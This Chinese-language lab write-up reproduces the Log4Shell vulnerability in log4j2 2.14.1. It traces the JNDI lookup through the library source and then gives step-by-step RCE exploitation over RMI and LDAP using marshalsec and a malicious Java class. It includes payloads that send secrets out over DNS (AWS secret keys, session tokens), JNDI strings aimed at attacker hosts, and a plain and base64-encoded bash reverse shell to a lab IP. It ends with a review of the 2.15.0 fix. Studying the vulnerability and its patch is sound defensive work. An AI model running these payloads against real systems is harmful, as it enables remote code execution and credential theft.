环境准备 漏洞版本2.0到2.14.1
用maven构建
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <? xml version="1.0" encoding="UTF-8" ?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion>4.0 .0 </modelVersion> <groupId>org.example</groupId> <artifactId>log4j2-test</artifactId> <version>1.0 -SNAPSHOT</version> <properties> <maven.compiler.source>8 </maven.compiler.source> <maven.compiler.target>8 </maven.compiler.target> <project.build.sourceEncoding>UTF-8 </project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14 .1 </version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14 .1 </version> </dependency> </dependencies> </project>
Main.javas
1 2 3 4 5 6 7 8 9 10 11 package org.example; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;public class Main { private static final Logger logger = LogManager.getLogger (); public static void main (String[] args) { logger.error ("${jndi:ldap://wko5f7.dnslog.cn}" ); } }
测试
前置 log4j2的lookup查询
Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。
Log4j2 内置了多个 Lookup 实现,每个 Lookup 都有不同的用途和功能。以下是一些常见的 Lookup 类型:
1 2 3 4 5 6 7 8 ${date}:获取当前日期和时间,支持自定义格式。 ${pid}:获取当前进程的 ID。 ${logLevel}:获取当前日志记录的级别。 ${sys:propertyName}:获取系统属性的值,例如 ${sys:user.home} 获取用户主目录。 ${env:variableName}:获取环境变量的值,例如 ${env:JAVA_HOME} 获取 Java 安装路径。 ${ctx:key}:获取日志线程上下文(ThreadContext)中指定键的值。 ${class :fullyQualifiedName :methodName }:获取指定类的静态方法的返回值。$ {mdc:key}:获取 MDC (Mapped Diagnostic Context) 中指定键的值。
常用的信息收集查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ${hostName} ${sys:java.version} → 当前 Java 版本(如 17.0.1) ${sys:user.name} → 当前系统用户名 ${sys:os.name} → 操作系统名称(如 Linux) ${sys:os.version} ${env:JAVA_VERSION} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} ${env:AWS_SHARED_CREDENTIALS_FILE} ${env:AWS_WEB_IDENTITY_TOKEN_FILE} ${env:AWS_PROFILE} ${env:AWS_CONFIG_FILE} ${env:AWS_ACCESS_KEY_ID} ${env:PATH} → 系统 PATH 环境变量 ${env:HOME} → 用户home目录路径
lookup的jndi解析器
JNDI(Java Naming and Directory Interface,Java 命名和目录接口) 是 Java 提供的一个 统一 API,用于访问各种命名和目录服务(如 LDAP、DNS、RMI、文件系统等)。它的核心作用是 通过名称(Name)查找资源(Object),类似于“电话号码簿”的概念。
jndi解析器语法
1 2 3 4 ${jndi:协议://地址/资源路径} 支持的协议: dns, ldap, ldaps, rmi ,iiop, iiopname,corbname,corba
比如${jndi:dns://zkbp6w.dnslog.cn}
会发送dns请求
lookup支持嵌套查询如${jndi:dns://${sys:java.version}.zkbp6w.dnslog.cn}
可以通过这种方式dns外带一些信息
这个解析器也是log4j2的漏洞源头
ldap
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议) 是一种用于 访问和维护分布式目录服务 的协议。它类似于“网络电话簿”,专门用来高效查询和修改 层次化目录数据 (如用户账号、组织架构、设备信息等)。
就类似一个电话簿,当请求查询,参数为一个名字时(假设是唯一的),就会返回该名字对应的电话号码。
比如jndi:ldap://localhost/test
jndi对ldap服务器请求查询test
,服务器会有如下响应
1 2 3 4 5 dn: test //唯一条目,类似数据库的主键 objectClass: javaNamingReference javaClassName: Exploit javaFactory: Exploit javaCodeBase: http://attacker.com/
当Java程序接收到这个响应的时候,会从 **javaCodeBase**
指定的 **http://attacker.com/**
下载 **Exploit.class**
然后就会实例化这个类并执行其构造方法。这就是通过jndi
请求ldap
的方式来RCE
的原理。
RMI
RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种用于实现分布式程序 的技术,允许一个 Java 虚拟机(JVM)上的对象调用另一个 JVM 上的对象方法,就像调用本地方法一样。
远程接口
1 2 3 4 5 6 7 8 import java.rmi.Remote;import java.rmi.RemoteException;public interface MyRemote extends Remote { String sayHello (String name) throws RemoteException; int add (int a, int b) throws RemoteException; }
远程接口实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class MyRemoteImpl extends UnicastRemoteObject implements MyRemote { public MyRemoteImpl () throws RemoteException { super (); } @Override public String sayHello (String name) throws RemoteException { return "Hello, " + name + "! (from RMI Server)" ; } @Override public int add (int a, int b) throws RemoteException { return a + b; } }
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Main { public static void main (String[] args) { try { MyRemote service = new MyRemoteImpl (); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("MyRemoteService" , service); System.out.println("RMI Server is running..." ); } catch (Exception e) { e.printStackTrace(); } } }
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient { public static void main (String[] args) { try { Registry registry = LocateRegistry.getRegistry("localhost" , 1099 ); MyRemote service = (MyRemote) registry.lookup("MyRemoteService" ); String greeting = service.sayHello("Alice" ); int result = service.add(5 , 3 ); System.out.println("Server says: " + greeting); System.out.println("5 + 3 = " + result); } catch (Exception e) { e.printStackTrace(); } } }
对于${jndi:rmi://attacker.com:1099/Exploit}
通过 JNDI 请求 **attacker.com:1099**
的 RMI 服务
1 2 3 4 5 6 7 8 9 public class EvilRMIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference ref = new Reference ("Exploit" , "Exploit" , "http://attacker.com:8000/" ); ReferenceWrapper refWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , refWrapper); System.out.println("RMI Server is ready..." ); } }
RMI 返回一个 **Reference**
对象,指向 **http://attacker.com:8000/Exploit.class**
,jndi会动态加载**Reference**
并实例化,也就是Java程序加载该**Exploit.class**
并执行其中的恶意代码实现rce
审计 下断点调试
一路f7,只关注我们传入的值到
\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class:400
这个循环,每循环一次buffer
就会增加一些字符(这个其实就是输出的error),先是时间,然后是包路径,可以看到i=8前(也就是第8次循环结束后)的值为21:45:25.009 [main] ERROR org.example.Main -
根据ERROR
的输出可以知道,接下来这次循环(i=8,第九次循环)22:17:09.853 [main] ERROR org.example.Main -
后面处理的是我们输入的字符
到D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class:100
1 2 3 4 5 6 7 8 9 if (this .config != null && !this .noLookups) { for (int i = offset; i < workingBuilder.length() - 1 ; ++i) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1 ) == '{' ) { String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(this .config.getStrSubstitutor().replace(event, value)); } } }
对${
开头的字符做一些处理继续跟进
到D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class:418
f7可以看到resolveVariable
方法调用了lookup
lookup方法在D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\Interpolator.class:148
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public String lookup (final LogEvent event, String var ) { if (var == null ) { return null ; } else { int prefixPos = var .indexOf(58 ); if (prefixPos >= 0 ) { String prefix = var .substring(0 , prefixPos).toLowerCase(Locale.US); String name = var .substring(prefixPos + 1 ); StrLookup lookup = (StrLookup)this .strLookupMap.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware)lookup).setConfiguration(this .configuration); } String value = null ; if (lookup != null ) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); } if (value != null ) { return value; } var = var .substring(prefixPos + 1 ); } if (this .defaultLookup != null ) { return event == null ? this .defaultLookup.lookup(var ) : this .defaultLookup.lookup(event, var ); } else { return null ; } } }
这个lookup会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\Interpolator.class:148
的lookup并且会根据解析到不同的解析器进入到对应的lookup查询
而这个lookup又会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\MapLookup.class:68
的lookup
而实际上解析${hostName}
的是这个lookup
此时语句就会变成${jndi:dns://xxx.zkbp6w.dnslog.cn}
然后会继续D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class:100
的循环,直到匹配到下一个${
也就是解析器,这里就是处理嵌套查询的地方
然后会跟前面${hostName}
一样再次处理${jndi:dns://xxx.zkbp6w.dnslog.cn}
,然后调用对应的lookup
当匹配到jndi
的时候
会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\JndiLookup.class:30
的lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.apache.logging.log4j.core.lookup;import java.util.Objects;import javax.naming.NamingException;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.Marker;import org.apache.logging.log4j.MarkerManager;import org.apache.logging.log4j.core.LogEvent;import org.apache.logging.log4j.core.config.plugins.Plugin;import org.apache.logging.log4j.core.net.JndiManager;import org.apache.logging.log4j.status.StatusLogger;@Plugin( name = "jndi", category = "Lookup" ) public class JndiLookup extends AbstractLookup { private static final Logger LOGGER = StatusLogger.getLogger(); private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP" ); static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/" ; public JndiLookup () { } public String lookup (final LogEvent event, final String key) { if (key == null ) { return null ; } else { String jndiName = this .convertJndiName(key); try { JndiManager jndiManager = JndiManager.getDefaultManager(); Throwable var5 = null ; String var6; try { var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null ); } catch (Throwable var16) { var5 = var16; throw var16; } finally { if (jndiManager != null ) { if (var5 != null ) { try { jndiManager.close(); } catch (Throwable var15) { var5.addSuppressed(var15); } } else { jndiManager.close(); } } } return var6; } catch (NamingException var18) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}]." , jndiName, var18); return null ; } } } private String convertJndiName (final String jndiName) { return !jndiName.startsWith("java:comp/env/" ) && jndiName.indexOf(58 ) == -1 ? "java:comp/env/" + jndiName : jndiName; } }
这里就是触发jndi注入的地方
复现 RMI to rce rmi的限制比较多
要远程加载类需要**com.sun.jndi.rmi.object.trustURLCodebase=true**
JDK 8u121+ 后,这个属性默认是 **false**
**JDK 9+**移除了 codebase
支持
下载jdk8u101
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
下面所有的编译/运行都要用jdk 8u101
恶意类Calc.java
1 2 3 4 5 6 7 public class Calc { static { try { Runtime.getRuntime().exec("calc.exe" ); } catch (Exception e) {} } }
javac .\Calc.java
编译生成字节码
使用marshalsec搭建RMI服务器:
1 2 3 4 git clone https: cd marshalsec mvn clean package -DskipTests ./java -cp ../marshalsec-0.0 .3 -SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.128:8000/#Calc" 1099
开启http.server
运行客户端jndi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.io.IOException;public class Main { private static final Logger logger = LogManager.getLogger(); public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.rmi.trace" , "true" ); logger.error("${jndi:rmi://192.168.100.128:1099/Calc}" ); } }
LDAP to rce ./java -cp ../marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "[http://192.168.100.128:8000/#Calc"](http://192.168.100.128:8000/#Calc") 1389
启动ldap
服务
开启http.server
放恶意类
运行客户端jndi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.io.IOException;public class Main { private static final Logger logger = LogManager.getLogger(); public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); logger.error("${jndi:ldap://192.168.100.128:1389/Calc}" ); } }
一些工具 javachains 可以生成很多java的payload
https://github.com/vulhub/java-chains/
手册 https://java-chains.vulhub.org/docs/guide
用docker部署
1 2 3 4 5 6 7 8 9 10 11 12 13 14 docker run -d \ --name java-chains \ --restart=always \ -p 8011 :8011 \ -p 58080 :58080 \ -p 50389 :50389 \ -p 50388 :50388 \ -p 3308 :3308 \ -p 13999 :13999 \ -p 50000 :50000 \ -p 11527 :11527 \ -e CHAINS_AUTH=false \ -e CHAINS_PASS= \ javachains/javachains:1.4 .1
登录页面:http://your-ip:8011
JNDI-Injection-Exploit git clone [https://github.com/sayers522/JNDI-Injection-Exploit.git](https://github.com/sayers522/JNDI-Injection-Exploit.git)
mvn clean package -DskipTests
1 2 3 4 5 6 bash -i >& /dev/tcp/192.168 .100 .128 /6666 0 >&1 https: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
这里是windows,就弹计算器
1 2 ../../jdk1.8 .0_101 /bin/java -jar JNDI-Injection-Exploit-1.0 -SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'
修复 https://github.com/apache/logging-log4j2/compare/rel/2.14.1...rel/2.15.0
直接看diff2.14.0
->2.15.0
src/site/xdoc/manual/lookups.xml
增加了如下
1 2 3 4 5 6 7 <p>By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. Additional protocols may be supported by specifying them on the <code>log4j2.allowedJndiProtocols</code> property. When using LDAP Java classes that implement the Referenceable interface are not supported for security reasons. Only the Java primative classes are supported by default as well as any classes specified by the <code>log4j2.allowedLdapClasses</code> property. When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the <code>log4j2.allowedLdapHosts</code> property.</p>
在**log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java**
禁止除**java**
、**ldap**
、**ldaps**
外的其他协议(如**rmi**
、**dns**
),防止攻击者利用其他协议触发RCE
增加了协议
、host
、referer
、classname
的校验并且Object_Factory
不能加载远程ObjectFactory
类